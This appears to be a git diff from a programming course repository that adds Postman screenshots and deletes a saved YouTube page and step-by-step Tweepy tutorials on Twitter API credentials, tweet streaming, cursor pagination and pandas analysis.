diff --git a/Module_Postman/activities/Act7_API_Documentation_in_Postman/Screen Shot 2020-02-19 at 10.47.42 PM.png b/Module_Postman/activities/Act7_API_Documentation_in_Postman/Screen Shot 2020-02-19 at 10.47.42 PM.png
new file mode 100644
index 00000000..1b3a05a3
Binary files /dev/null and b/Module_Postman/activities/Act7_API_Documentation_in_Postman/Screen Shot 2020-02-19 at 10.47.42 PM.png differ
diff --git a/Module_Postman/activities/Act7_API_Documentation_in_Postman/Screen Shot 2020-02-19 at 11.09.10 PM.png b/Module_Postman/activities/Act7_API_Documentation_in_Postman/Screen Shot 2020-02-19 at 11.09.10 PM.png
new file mode 100644
index 00000000..3005aee6
Binary files /dev/null and b/Module_Postman/activities/Act7_API_Documentation_in_Postman/Screen Shot 2020-02-19 at 11.09.10 PM.png differ
diff --git a/Module_Postman/activities/Act7_API_Documentation_in_Postman/Screen Shot 2020-02-19 at 11.20.50 PM.png b/Module_Postman/activities/Act7_API_Documentation_in_Postman/Screen Shot 2020-02-19 at 11.20.50 PM.png
new file mode 100644
index 00000000..78ca4cc3
Binary files /dev/null and b/Module_Postman/activities/Act7_API_Documentation_in_Postman/Screen Shot 2020-02-19 at 11.20.50 PM.png differ
diff --git a/Module_Postman/activities/Act7_API_Documentation_in_Postman/Screen Shot 2020-02-19 at 11.35.49 PM.png b/Module_Postman/activities/Act7_API_Documentation_in_Postman/Screen Shot 2020-02-19 at 11.35.49 PM.png
new file mode 100644
index 00000000..b8c54027
Binary files /dev/null and b/Module_Postman/activities/Act7_API_Documentation_in_Postman/Screen Shot 2020-02-19 at 11.35.49 PM.png differ
diff --git a/Module_Postman/activities/Act7_API_Documentation_in_Postman/Screen Shot 2020-02-19 at 11.46.11 PM.png b/Module_Postman/activities/Act7_API_Documentation_in_Postman/Screen Shot 2020-02-19 at 11.46.11 PM.png
new file mode 100644
index 00000000..c1eaac46
Binary files /dev/null and b/Module_Postman/activities/Act7_API_Documentation_in_Postman/Screen Shot 2020-02-19 at 11.46.11 PM.png differ
diff --git a/Module_Postman/activities/Act7_API_Documentation_in_Postman/Screen Shot 2020-02-19 at 11.52.24 PM.png b/Module_Postman/activities/Act7_API_Documentation_in_Postman/Screen Shot 2020-02-19 at 11.52.24 PM.png
new file mode 100644
index 00000000..a897b2ff
Binary files /dev/null and b/Module_Postman/activities/Act7_API_Documentation_in_Postman/Screen Shot 2020-02-19 at 11.52.24 PM.png differ
diff --git a/Module_Postman/activities/Act7_API_Documentation_in_Postman/Screen Shot 2020-02-19 at 11.55.28 PM.png b/Module_Postman/activities/Act7_API_Documentation_in_Postman/Screen Shot 2020-02-19 at 11.55.28 PM.png
new file mode 100644
index 00000000..c75172ae
Binary files /dev/null and b/Module_Postman/activities/Act7_API_Documentation_in_Postman/Screen Shot 2020-02-19 at 11.55.28 PM.png differ
diff --git a/Module_Postman/activities/Act7_API_Documentation_in_Postman/edit_browser.PNG b/Module_Postman/activities/Act7_API_Documentation_in_Postman/edit_browser.PNG
new file mode 100644
index 00000000..0c8fd04a
Binary files /dev/null and b/Module_Postman/activities/Act7_API_Documentation_in_Postman/edit_browser.PNG differ
diff --git a/Module_Postman/activities/Act7_API_Documentation_in_Postman/git 2.keep b/Module_Postman/activities/Act7_API_Documentation_in_Postman/git 2.keep
new file mode 100644
index 00000000..e69de29b
diff --git a/Module_Postman/activities/Act7_API_Documentation_in_Postman/git.keep b/Module_Postman/activities/Act7_API_Documentation_in_Postman/git.keep
new file mode 100644
index 00000000..e69de29b
diff --git a/Module_Twitter_API/.DS_Store b/Module_Twitter_API/.DS_Store
deleted file mode 100644
index efd0171a..00000000
Binary files a/Module_Twitter_API/.DS_Store and /dev/null differ
diff --git a/Module_Twitter_API/activities/Act12_Intro to NLP/11.html b/Module_Twitter_API/activities/Act12_Intro to NLP/11.html
deleted file mode 100644
index 676a1a12..00000000
--- a/Module_Twitter_API/activities/Act12_Intro to NLP/11.html
+++ /dev/null
@@ -1,21404 +0,0 @@
-
-
-Natural Language Processing (NLP) Tutorial with Python & NLTK - YouTube
-
-
-/* Most common used flex styles*/
-
-
-
-
-
-/* Basic flexbox reverse styles */
-
-
-
-
-
-/* Flexbox alignment */
-
-
-
-
-
-/* Non-flexbox positioning helper styles */
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
If playback doesn't begin shortly, try restarting your device.
Full screen (f)
36:55 / 38:09
You're signed out
Videos
- you watch may be added to the TV's watch history and influence TV
-recommendations. To avoid this, cancel and sign in to YouTube on your
-computer.
Up NextAutoplay is paused
freeCodeCamp.org
Subscribe
1.6M
Subscribed
1.6M
Expand (i)
0:00
38:09
the different parts of NLP is what isNLP
Share
An error occurred while retrieving sharing information. Please try again later.
This video will provide you with a comprehensive and detailed knowledge of Natural Language Processing, popularly known as NLP. You will also learn about the different steps involved in processing the human language like Tokenization, Stemming, Lemmatization and more. Python, NLTK, & Jupyter Notebook are used to demonstrate the concepts.
-
-This tutorial was developed by Edureka.
-
-🔗NLP Certification Training: https://goo.gl/kn2H8T
-
-🔗Subscribe to the Edureka YouTube channel: https://www.youtube.com/user/edurekaIN
-
-🔗Edureka Online Training: https://www.edureka.co/
-
---
-
-Learn to code for free and get a developer job: https://www.freecodecamp.org
-
-Read hundreds of articles on programming: https://medium.freecodecamp.org
-
-And subscribe for new videos on technology every day: https://youtube.com/subscription_cent...
-
-
-
-
-
-
-
- Show less
-
-
- Show more
-
-
-
-
-
-
-
-
-
-
-
-
-
-
Up next
-
Autoplay
-
-
-
-
-
- When autoplay is enabled, a suggested video will automatically play next.
-
-
-
-
-
-
-
-
-
-
-
-
-
-
\ No newline at end of file
diff --git a/Module_Twitter_API/activities/Act1_Intro to Twitter API/2.mdx b/Module_Twitter_API/activities/Act1_Intro to Twitter API/2.mdx
deleted file mode 100644
index 28c6697a..00000000
--- a/Module_Twitter_API/activities/Act1_Intro to Twitter API/2.mdx
+++ /dev/null
@@ -1,5 +0,0 @@
-
-
-The Twitter developer application process starts here, please complete the form.
-
-
\ No newline at end of file
diff --git a/Module_Twitter_API/activities/Act1_Intro to Twitter API/3.mdx b/Module_Twitter_API/activities/Act1_Intro to Twitter API/3.mdx
deleted file mode 100644
index 6f158b95..00000000
--- a/Module_Twitter_API/activities/Act1_Intro to Twitter API/3.mdx
+++ /dev/null
@@ -1,5 +0,0 @@
-
-
-After finishing your application, confirm your email and your account should be processed and reviewed swiftly.
-
-
\ No newline at end of file
diff --git a/Module_Twitter_API/activities/Act1_Intro to Twitter API/4.mdx b/Module_Twitter_API/activities/Act1_Intro to Twitter API/4.mdx
deleted file mode 100644
index 07a09b03..00000000
--- a/Module_Twitter_API/activities/Act1_Intro to Twitter API/4.mdx
+++ /dev/null
@@ -1,6 +0,0 @@
-
-
-Head back to Twitter Developer [here](https://developer.twitter.com/en/apps), your app menu should look like this:
-
-Click on “Create an app”.
-
diff --git a/Module_Twitter_API/activities/Act1_Intro to Twitter API/6.mdx b/Module_Twitter_API/activities/Act1_Intro to Twitter API/6.mdx
deleted file mode 100644
index e5389c30..00000000
--- a/Module_Twitter_API/activities/Act1_Intro to Twitter API/6.mdx
+++ /dev/null
@@ -1,6 +0,0 @@
-
-
-After creating your app, head to its “Keys and tokens” section, where you will find an API key and API secret key. Copy these keys for later use. (these keys in the picture have been erased)
-
-
-
diff --git a/Module_Twitter_API/activities/Act2_Stream Twitter API/1.md b/Module_Twitter_API/activities/Act2_Stream Twitter API/1.md
deleted file mode 100644
index 25b2f049..00000000
--- a/Module_Twitter_API/activities/Act2_Stream Twitter API/1.md
+++ /dev/null
@@ -1,12 +0,0 @@
-
-
-# Tweepy
-
-**What is Tweepy?**
-
-Tweepy is a Python library on accessing Twitter API. It is great for simple automation and creating twitter bots. It holds many features, such as getting tweets from your timeline, creating/deleting tweets, and following/unfollowing users.
-
-Tweepy provides many methods and functions to access Twitter APIs. If you are curious and want to read more about them, Tweepy has a documentation page where all their methods are listed and explained. To view that, you can go to **https://tweepy.readthedocs.io/en/v3.5.0/** to read more.
-
-
-
diff --git a/Module_Twitter_API/activities/Act2_Stream Twitter API/2.md b/Module_Twitter_API/activities/Act2_Stream Twitter API/2.md
deleted file mode 100644
index db035e21..00000000
--- a/Module_Twitter_API/activities/Act2_Stream Twitter API/2.md
+++ /dev/null
@@ -1,23 +0,0 @@
-
-
-
-
-# Download Python, Create Twitter Account, Install Tweepy
-
-In today's activity, we are going to recreate the Twitter application, which is called Tweepy. We will be utilizing an API, which can be accessed via Python, to stream tweets in real time directly from Twitter.
-
-Before beginning to create the application, you first must have Python installed onto your computer. You can do so, go to **python.org/downloads** and install the latest version.
-
-
-
-
-
-Once you have done that, you will also need to make a Twitter account if you do not already have one. If you already have an existing account, you can skip this step. Otherwise, go onto **twitter.com**, click on the **Sign up** button and fill out your personal information.
-
-Now that you have Python installed and have an existing Twitter account, we are going to install the Python package **Tweepy**. To install Tweepy, open your Terminal on your computer. Use your terminal to navigate into the folder where you will be creating this activity. Once that is done, enter this shell command to install Tweepy:
-
-```
-$ pip install tweepy
-```
-
-That line will install the tweepy module so that you can use its different functions to recreate the Twitter application. When you have that done, you can move onto the next part of this activity.
diff --git a/Module_Twitter_API/activities/Act2_Stream Twitter API/3.md b/Module_Twitter_API/activities/Act2_Stream Twitter API/3.md
deleted file mode 100644
index 46682fc1..00000000
--- a/Module_Twitter_API/activities/Act2_Stream Twitter API/3.md
+++ /dev/null
@@ -1,39 +0,0 @@
-
-
-
-
-# Twitter API Credentials
-
-Now that you have your Python and Twitter set up, you will now set up a connection between your Twitter API and your Python file.
-
-To start, you need to log into your Twitter account onto a web browser. Then, go to **apps.twitter.com** to create a new application. Click on the **Create New App** button, which will take you to a form where you will fill out a simple description about the application you are making.
-
-
-
-When you finish filling out that form, click on **Create your Twitter application** button and that will take you to the project page for your application.
-
-
-
-On that page, click on the **Settings** header and you will find four Twitter user credential codes called "Access Token", "Access Token Secret", "Consumer Key", and "Consumer Secret".
-
-
-
-These four codes are unique to each Twitter account as it links to your Twitter account. You will need these credentials to access the Twitter APIs.
-
-Now that you have found those four access and key codes, create a new Python file in your project directory and open it up. Name that file **twitter_credentials.py** to enter the twitter credentials into this file. It should look like this.
-
-```python
-ACCESS_TOKEN = "" #ENTER YOUR UNIQUE CODE IN BETWEEN THE QUOTATION
-ACCESS_TOKEN_SECRET = ""
-CONSUMER_KEY = ""
-CONSUMER_SECRET = ""
-```
-
-- In the quotations, copy and paste you credentials from the setting page into the corresponding title name on the Python file. This creates variables to contain user credentials to access the Twitter APIs in your project.
-
-Here is an example of a Comsumer API Key. Yours will look similar in format but unique in key combinations.
-
-
-
-When you have done that, you can continue onto the next part of the activity where we will start writing the Python code for the project.
-
diff --git a/Module_Twitter_API/activities/Act2_Stream Twitter API/4.md b/Module_Twitter_API/activities/Act2_Stream Twitter API/4.md
deleted file mode 100644
index d486dd39..00000000
--- a/Module_Twitter_API/activities/Act2_Stream Twitter API/4.md
+++ /dev/null
@@ -1,67 +0,0 @@
-
-
-
-
-# Streaming and Processing Class
-
-In this part of the activity, we will now start writing the code for the Tweepy application. Start off by creating a new Python file named **tweepy_streamer.py**.
-
-1. Next, we will import the Tweepy module, which you should have installed in the previous part of the activity, into the file to allow us to use its commands in our file. Import the module at the very top of your Python file.
-
-```python
-from tweepy.streaming import StreamListener
-from tweepy import OAuthHandler
-from tweepy import Stream
-import twitter_credentials
-```
-
-
-
-2. Moving along, we will create a **TwitterStreamer** class to stream and process live tweets. Then define a class method to stream in the tweets called **stream_tweets**. This method will take in self, fetched_tweets_filename, and hash_tag_list. The fetched_tweets_filename parameter will be the text file name where your tweet data will be stored and the hash_tag_list parameter will be the hashtag filtering keyword.
-
-```python
-class TwitterStreamer():
- def stream_tweets(self, fetched_tweets_filename, hash_tag_list)
-```
-
-
-
-3. Next, we will handle Twitter authentication and the connection to the Twitter API. To do so, we will need to create the `auth` variable to authenticate using the credentials we have in the **twitter_credentials.py** file. We will use the OAuthHandler from the Tweepy module to authenticate our "Consumer Key" and "Consumer Secret". To complete the authenication process, we will set the access token to the "Access Token" and "Access Token Secret" from that same file.
-
-```python
-listener = StdOutListener()
-auth = OAuthHandler(twitter_credentials.CONSUMER_KEY, twitter_credentials.CONSUMER_SECRET)
-auth.set access_token (twitter_credentials.ACCESS_TOKEN, twitter_credentials.ACCESS_TOKEN_SECRET)
-```
-
-
-4. Next, we will create a stream using the **Stream** class from the Tweepy module and pass in the auth and listener objects.
-
-```python
-stream = Stream(auth, listener)
-```
-
-
-
-5. We will also filter tweets with specific keywords when streaming in the data. To do so, we will use "track" to track those keywords, which is provided through the hash_tag_list parameter.
-
-```python
-stream.filter(track = hash_tag_list)
-```
-
-
-
-Here is what the Python code should look like in your **tweepy_streamer.py** file under your **TwitterStreamer** class.
-
-```python
-class TwitterStreamer():
- def stream_tweets(self, fetched_tweets_filename, hash_tag_list)
-
- #Twitter Authentication
- listener = StdOutListener()
- auth = OAuthHandler(twitter_credentials.CONSUMER_KEY, twitter_credentials.CONSUMER_SECRET)
- auth.set access_token (twitter_credentials.ACCESS_TOKEN, twitter_credentials.ACCESS_TOKEN_SECRET)
-
- stream = Stream(auth, listener) # create Stream class
- stream.filter(track = hash_tag_list) # filter keywords
-```
diff --git a/Module_Twitter_API/activities/Act2_Stream Twitter API/5.md b/Module_Twitter_API/activities/Act2_Stream Twitter API/5.md
deleted file mode 100644
index 57e0d0d1..00000000
--- a/Module_Twitter_API/activities/Act2_Stream Twitter API/5.md
+++ /dev/null
@@ -1,60 +0,0 @@
-
-
-
-
-# Creating a Listener Class
-
-Following the previous activity, we will create a class called **StdOutListener**, representing Standard Output Listener, and it will be a basic listener class that prints received tweets to a file. You will first create a constructor __init__ to fetch the filename that the data will be sent to.
-
-The StreamListener class also provides us with methods that we can override. With that, we will be using on_data and on_error methods.
-
-- The on_data method will take in the data that is streamed in from the StreamListener, which is reading in tweets, and allows us to work with that data. In this part:
-
- - Use a try and except statement to catch errors when trying to stream in the data.
- - When the stream is successful, you will write the data to the text file that you created in the init constructor.
- - If the stream holds errors, an exception statement will be printed out.
-
- ```python
- def on_data(self, data):
- try:
- print(data)
- with open(self.fetched_tweets_filename, 'a') as tf:
- tf.write(data)
- return True
- except BaseException as e:
- print("Error on_data: %s" % str(e))
- return True
- ```
-
-- The on_error method will give us the error that is occurring.
-
- - Print that output onto the screen.
-
- ```python
- def on_error(self, data):
- print(data)
- ```
-
-
-
-Here is what your Python code should look like when constructing the definitions with the **StdOutListener** class in your **tweepy_streamer.py** file.
-
-```python
-class StdOutListener(StreamListener):
- def __init__(self, fetched_tweets_filename): #create constructor
- self.fetched_tweets_filename = fetched_tweets_filename
-
- def on_data(self, data): #take in streamed data
- try: #try when there's no error
- print(data)
- with open(self.fetched_tweets_filename, 'a') as tf:
- tf.write(data)
- return True
- except BaseException as e: #when there's an error
- print("Error on_data: %s" % str(e))
- return True
-
- def on_error(self, data): #print the error occurring
- print(data)
-```
-
diff --git a/Module_Twitter_API/activities/Act2_Stream Twitter API/6.md b/Module_Twitter_API/activities/Act2_Stream Twitter API/6.md
deleted file mode 100644
index 61f91c77..00000000
--- a/Module_Twitter_API/activities/Act2_Stream Twitter API/6.md
+++ /dev/null
@@ -1,46 +0,0 @@
-
-
-
-
-# Connecting Our Classes in Main
-
-Now that we have made the **TwitterStreamer** and the **StdOutListener** class, we will now incorporate them together to have working code.
-
-1. In that main function, you will create a hash_tag_list of the specific keywords that you want to search within tweets. You can enter any keyword that you want in the quotation marks.
-
-```python
-hash_tag_list = [""]
-```
-
-2. Next, you will create the text file to where all the tweet data will be stored. You can name that **tweets.txt** to the fetched_tweets_filename variable.
-
-```python
-fetched_tweets_filename = "tweets.txt"
-```
-
-3. Furthermore, you will a Twitter streamer object using the **TwitterStreamer** class and the **stream_tweets** function in that class. You will pass in the fetched_tweets_filename and hash_tag_list arguments that you just made.
-
-```python
-twitter_streamer = TweeterStreamer()
-twitter_streamer.stream_tweets(fetched_tweets_filename, hash_tag_list)
-```
-
-Here what your main function should look like in your **tweepy_streamer.py** file.
-
-```python
-if __name__ == "__main__":
- hash_tag_list = [""]
- fetched_tweets_filename = "tweets.txt"
-
- twitter_streamer = TweeterStreamer()
- twitter_streamer.stream_tweets(fetched_tweets_filename, hash_tag_list)
-```
-
-With that, when you run your **tweepy_streamer.py** file on terminal, you will see the tweet data corresponding to your keywords in hash_tag_list appear in your **tweets.txt** file. You have officially finished streaming live tweets from Twitter onto a file on your computer.
-
-
-
-Here is what your live tweet should look similar to if you run it in your terminal.
-
-
-
diff --git a/Module_Twitter_API/activities/Act3_Cursor and Pagination/1.md b/Module_Twitter_API/activities/Act3_Cursor and Pagination/1.md
deleted file mode 100644
index 520f703a..00000000
--- a/Module_Twitter_API/activities/Act3_Cursor and Pagination/1.md
+++ /dev/null
@@ -1,71 +0,0 @@
-
-
-
-
-# Continue from Streaming Live Tweets
-
-In this part of the activity, we will now continue writing the code for the Tweepy application. Start off by importing two things to the Python file named **tweepy_streamer.py** which we will use in this activity to make it more streamlined and modular:
-
-```python
-from tweepy import API
-from tweepy import Cursor
-```
-
-To follow this activity, it is essential that you have completed the previous activity, **Streaming Live Tweets**. Here is what your Python code should look like to this point:
-
-```python
-class TwitterStreamer():
- """
- Class for streaming and processing live tweets.
- """
- def __init__(self):
- pass
-
- def stream_tweets(self, fetched_tweets_filename, hash_tag_list):
- # This handles Twitter authetification and the connection to Twitter Streaming API
- listener = StdOutListener(fetched_tweets_filename)
- auth = OAuthHandler(twitter_credentials.CONSUMER_KEY, twitter_credentials.CONSUMER_SECRET)
- auth.set_access_token(twitter_credentials.ACCESS_TOKEN, twitter_credentials.ACCESS_TOKEN_SECRET)
- stream = Stream(auth, listener)
-
- # This line filter Twitter Streams to capture data by the keywords:
- stream.filter(track=hash_tag_list)
-
-
-# # # # TWITTER STREAM LISTENER # # # #
-class StdOutListener(StreamListener):
- """
- This is a basic listener that just prints received tweets to stdout.
- """
- def __init__(self, fetched_tweets_filename):
- self.fetched_tweets_filename = fetched_tweets_filename
-
- def on_data(self, data):
- try:
- print(data)
- with open(self.fetched_tweets_filename, 'a') as tf:
- tf.write(data)
- return True
- except BaseException as e:
- print("Error on_data %s" % str(e))
- return True
-
-
- def on_error(self, status):
- print(status)
-
-
-if __name__ == '__main__':
-
- # Authenticate using config.py and connect to Twitter Streaming API.
- hash_tag_list = ["donald trump", "hillary clinton", "barack obama", "bernie sanders"]
- fetched_tweets_filename = "tweets.txt"
-
- twitter_streamer = TwitterStreamer()
- twitter_streamer.stream_tweets(fetched_tweets_filename, hash_tag_list)
-```
-
-
-
-
-
diff --git a/Module_Twitter_API/activities/Act3_Cursor and Pagination/2.md b/Module_Twitter_API/activities/Act3_Cursor and Pagination/2.md
deleted file mode 100644
index d07a128c..00000000
--- a/Module_Twitter_API/activities/Act3_Cursor and Pagination/2.md
+++ /dev/null
@@ -1,43 +0,0 @@
-
-
-
-
-# Making Authentication into Its Own Class
-
-Now let's abstract the Authentication into its own class so that we can use it to authenticate for other purposes in this activity.
-
-First, we are going to do some changes to the code we wrote in **tweepy_streamer.py**:
-
-- Change ```class StdOutListener(StreamListener)``` to ```class TwitterListener(StreamListener)```
-
-- Remember to also change the function call also (Ex: ``` listener = StdOutListener(fetched_tweets_filename)``` to ``` listener = TwitterListener(fetched_tweets_filename)```)
-
-- We are also going to abstract the authentication into its own class:
-
- ```python
- # # # # TWITTER AUTHENTICATER # # # #
- class TwitterAuthenticator():
-
- def authenticate_twitter_app(self):
- auth = OAuthHandler(twitter_credentials.CONSUMER_KEY, twitter_credentials.CONSUMER_SECRET)
- auth.set_access_token(twitter_credentials.ACCESS_TOKEN, twitter_credentials.ACCESS_TOKEN_SECRET)
- return auth
- ```
-
-- We are also going to change some of the things in the ```TwitterStreamer()``` class since we moved the authentication into its own class:
-
- ```python
- def __init__(self):
- self.twitter_autenticator = TwitterAuthenticator()
-
- def stream_tweets(self, fetched_tweets_filename, hash_tag_list):
- # This handles Twitter authetification and the connection to Twitter Streaming API
- listener = TwitterListener(fetched_tweets_filename)
- auth = self.twitter_autenticator.authenticate_twitter_app()
- stream = Stream(auth, listener)
-
- # This line filter Twitter Streams to capture data by the keywords:
- stream.filter(track=hash_tag_list)
- ```
-
- > Here, we changed the init fucntions to the class. We also changed auth = self.twitter_autenticator.authenticate_twitter_app() within the stream_tweets class method
\ No newline at end of file
diff --git a/Module_Twitter_API/activities/Act3_Cursor and Pagination/3.md b/Module_Twitter_API/activities/Act3_Cursor and Pagination/3.md
deleted file mode 100644
index d745c8ea..00000000
--- a/Module_Twitter_API/activities/Act3_Cursor and Pagination/3.md
+++ /dev/null
@@ -1,19 +0,0 @@
-
-
-
-
-# Rate limiting
-
-Twitter API has a rate limit. Rate limiting of the standard API is primarily on a per-user basis — or more accurately described, per user access token. If a method allows for 15 requests per rate limit window, then it allows 15 requests per window per access token.
-
-When using application-only authentication, rate limits are determined globally for the entire application. If a method allows for 15 requests per rate limit window, then it allows you to make 15 requests per window. If we go over this limit, twitter will throw error code 420 for making too many requests and we might be locked out of the access information.
-
-This is why it is worthwhile to check that the status message you are receiving is not an error message. Therefore, we are going to change the ```on_error(self, status)``` function to handle a rate limit error:
-
-```python
-def on_error(self, status):
- if status == 420:
- # Returning False on_data method in case rate limit occurs
- return False
-```
-
diff --git a/Module_Twitter_API/activities/Act3_Cursor and Pagination/4.md b/Module_Twitter_API/activities/Act3_Cursor and Pagination/4.md
deleted file mode 100644
index 5c9f45df..00000000
--- a/Module_Twitter_API/activities/Act3_Cursor and Pagination/4.md
+++ /dev/null
@@ -1,56 +0,0 @@
-
-
-
-
-# Cursor class
-
-Now, we are going to make use of the cursor module that we imported as well as extract timeline tweets from your own timeline.
-
-Let's start by declaring a new class and constructor method:
-
-```python
-class TwitterClient():
- def __init__(self, twitter_user=None):
- self.auth = TwitterAuthenticator().authenticate_twitter_app()
- self.twitter_client = API(self.auth)
- self.twitter_user = twitter_user
-```
-
->self.auth is the authenticator object (We use this to properly authenticate to communicate with the Twitter API)
-
-
-
- Now, let's make a function that allows a user to get tweets:
-
-```python
-def get_user_timeline_tweets(self, num_tweets):
- tweets = [] //Empty list
- for tweet in Cursor(self.twitter_client.user_timeline).items(num_tweets):
- tweets.append(tweet)
- return tweets
-```
-
-> num_tweets allows us to know how many tweets we actually want to show or extract
-
-> The client object that we created here in the in the constructor. There's a method for every object derived from this API class that has this user timeline functionality and that allows you to specify a user to get the tweets off that user's timeline. We have not specified a user; therefore, it defaults to you and will get tweets from your own timeline. There's a parameter for the cursor object called `.items` that allows you to specify the amount of tweets to receive from the timeline.
-
-
-
-Now let's test what we have works so far:
-
-Under `if_name _ == '_ main_ '` insert:
-
-```python
- twitter_client = TwitterClient()
- print(twitter_client.get_user_timeline_tweets(1))
-```
-
-Comment out some of the lines, as they are not necessary for this test:
-
-```python
-# twitter_streamer = TwitterStreamer()
-# twitter_streamer.stream_tweets(fetched_tweets_filename, hash_tag_list)
-```
-
-If it works properly, you should get the most recent tweet from your twitter timeline.
-
diff --git a/Module_Twitter_API/activities/Act3_Cursor and Pagination/5.md b/Module_Twitter_API/activities/Act3_Cursor and Pagination/5.md
deleted file mode 100644
index dd6c706c..00000000
--- a/Module_Twitter_API/activities/Act3_Cursor and Pagination/5.md
+++ /dev/null
@@ -1,39 +0,0 @@
-
-
-
-
-# Cursor class for a Specific User
-
-Instead of extracting our own tweets, we now want to extract tweets from a specific Twitter user. How can we can modify our function to allow us to specify that information?
-
-We do that by instantiating a Twitter client object to allow the person who is using this code to specify a user that they can get the timeline tweets from.
-
-To do this we need to put in a default argument of `None`:
-
-```python
-class TwitterClient():
- def __init__(self, twitter_user=None):
-```
-
-Then to specify a user, we need to add `id` in the `get_user_timeline_tweets` function for loop:
-
-```python
-def get_user_timeline_tweets(self, num_tweets):
- tweets = []
- for tweet in Cursor(self.twitter_client.user_timeline, id=self.twitter_user).items(num_tweets):
- tweets.append(tweet)
- return tweets
-```
-
-> Notice the id argument in the Cursor call
-
-Now, let's test that it works:
-
-Under `if _name _ == '_ main_ '` for the TwitterClient call, type in `'pycon'` as the argument, which is the id of a Twitter user:
-
-```python
-twitter_client = TwitterClient('pycon')
-print(twitter_client.get_user_timeline_tweets(1))
-```
-
-If this works properly, you will see the recent tweets from @pycon's timeline showing on the text field.
\ No newline at end of file
diff --git a/Module_Twitter_API/activities/Act3_Cursor and Pagination/6.md b/Module_Twitter_API/activities/Act3_Cursor and Pagination/6.md
deleted file mode 100644
index 3f52359a..00000000
--- a/Module_Twitter_API/activities/Act3_Cursor and Pagination/6.md
+++ /dev/null
@@ -1,23 +0,0 @@
-
-
-
-
-# Some other Class Methods for the Cursor class
-
-```python
- def get_friend_list(self, num_friends):
- friend_list = []
- for friend in Cursor(self.twitter_client.friends, id=self.twitter_user).items(num_friends):
- friend_list.append(friend)
- return friend_list
-```
-
-```python
-def get_home_timeline_tweets(self, num_tweets):
- home_timeline_tweets = []
- for tweet in Cursor(self.twitter_client.home_timeline, id=self.twitter_user).items(num_tweets):
- home_timeline_tweets.append(tweet)
- return home_timeline_tweets
-```
-
-> These two are also some of the class methods we can use for the Cursor class. They are pretty similar to the one we wrote before. We're looping over `twitter_client.friends` in this case instead of the user timeline. Then, we're getting a certain number of friends of that user based on the argument that we passed into the function. The patterns are very similar!
\ No newline at end of file
diff --git a/Module_Twitter_API/activities/Act4_Analyzing tweets/1.md b/Module_Twitter_API/activities/Act4_Analyzing tweets/1.md
deleted file mode 100644
index 3fc88c42..00000000
--- a/Module_Twitter_API/activities/Act4_Analyzing tweets/1.md
+++ /dev/null
@@ -1,15 +0,0 @@
-
-
-
-
-By the end of this activity, we'll be able to stream and analyze tweets from a specific user. We'll be using the tweepy library along with Pandas and Numpy to format our tweet data that we'll be analyzing later. So let's start by setting up Pandas and Numpy.
-
-
Setting up Pandas and Numpy
-Let's start by setting up Pandas and Numpy. If you don't have these installed, you'll have to run the following commands.
-
-```bash
-pip install Pandas
-pip install Numpy
-```
-
-And then, In order to use Pandas and Numpy in your Python IDE ([Integrated Development Environment](https://en.wikipedia.org/wiki/Integrated_development_environment)), you need to *import* them first as `import pandas as pd ` and `import numpy as np `.
\ No newline at end of file
diff --git a/Module_Twitter_API/activities/Act4_Analyzing tweets/2.md b/Module_Twitter_API/activities/Act4_Analyzing tweets/2.md
deleted file mode 100644
index 7a38dee8..00000000
--- a/Module_Twitter_API/activities/Act4_Analyzing tweets/2.md
+++ /dev/null
@@ -1,26 +0,0 @@
-
-
-
-
-
Getting the Twitter Client API
-Let's start by getting the twitter api. Firstly, let's setup a function inside our `TwitterClient` class that will return the api. We do so as follows:
-
-```python
-def get_twitter_client_api(self):
- return self.twitter_client
-```
-
-Next, let's create a twitter client which we'll use to analyze the tweet data of the user we'll be specifying that we'll be receiving in JSON format. We'll start by removing the existing code inside the main portion of our file and create an object of the `TwitterClient()` class called `twitter_client`.
-
-```python
-twitter_client = TwitterClient()
-```
-
-Now let's get the api through the function we just created and store it inside a variable for analyzing in the future.
-
-```python
-api = twitter_client.get_twitter_client_api()
-```
-
-
-
diff --git a/Module_Twitter_API/activities/Act4_Analyzing tweets/3.md b/Module_Twitter_API/activities/Act4_Analyzing tweets/3.md
deleted file mode 100644
index 0673341a..00000000
--- a/Module_Twitter_API/activities/Act4_Analyzing tweets/3.md
+++ /dev/null
@@ -1,14 +0,0 @@
-
-
-
-
-
Streaming our first tweets
-So now that we have an api set up, we can start by streaming some tweets. So let's go ahead and create a variable called `tweets` that will store the data we'll be obtaining from the client that we just created. We'll use a inbuilt function, `user_timeline` to stream the tweets. So let's go ahead and specify someone well known as the twitter handle and specify the number of tweets we need.
-
-```python
-tweets = api.user_timeline(screen_name="realDonaldTrump", count=20)
-```
-
-Now on printing `tweets`, we should get the most recent 20 tweets in JSON format.
-
-
\ No newline at end of file
diff --git a/Module_Twitter_API/activities/Act4_Analyzing tweets/4.md b/Module_Twitter_API/activities/Act4_Analyzing tweets/4.md
deleted file mode 100644
index 15fe55e1..00000000
--- a/Module_Twitter_API/activities/Act4_Analyzing tweets/4.md
+++ /dev/null
@@ -1,28 +0,0 @@
-
-
-
-
-
Creating a DataFrame using Pandas
-Now what we can do is we can go ahead and create a data frame which is going to store that content and just going to allow us to neatly organize that and also to process it for further data analysis later so we're going to make use of the numpy and pandas modules that we imported.
-
-We'll start by creating a class that we'll be using to analyze our tweets later. Let's call this class `TweetAnalyzer()`. Now let's create a function `tweets_to_data_frame` that will take the JSON data we have and convert it into a data frame categorized by the text for our future use.
-
-```python
-class TweetAnalyzer():
- def tweets_to_data_frame(self, tweets):
- df = pd.DataFrame(data=[tweet.text for tweet in tweets], columns=['Tweets'])
- return df
-```
-
-Here, the Pandas library has an inbuilt function `DataFrame()` that does the conversion of our tweet data into a Data Frame. A Data Frame is a tabular data structure with labeled axes (rows and columns). We feed in the data by iterating through our tweets object and feeding in the `tweet.text`. Finally, let's return the Data Frame.
-
-Now to take advantage of this newly created class, we are going to create a object of this class inside our **main** routine and call the function on tweets.
-
-```python
-tweet_analyzer = TweetAnalyzer()
-df = tweet_analyzer.tweets_to_data_frame(tweets)
-```
-
- Now let's print the first 10 `tweets` in our Data Frame by `print(df.head(10))`.
-
-
\ No newline at end of file
diff --git a/Module_Twitter_API/activities/Act4_Analyzing tweets/5.md b/Module_Twitter_API/activities/Act4_Analyzing tweets/5.md
deleted file mode 100644
index 23561765..00000000
--- a/Module_Twitter_API/activities/Act4_Analyzing tweets/5.md
+++ /dev/null
@@ -1,19 +0,0 @@
-
-
-
-
-
Analyzing the tweets
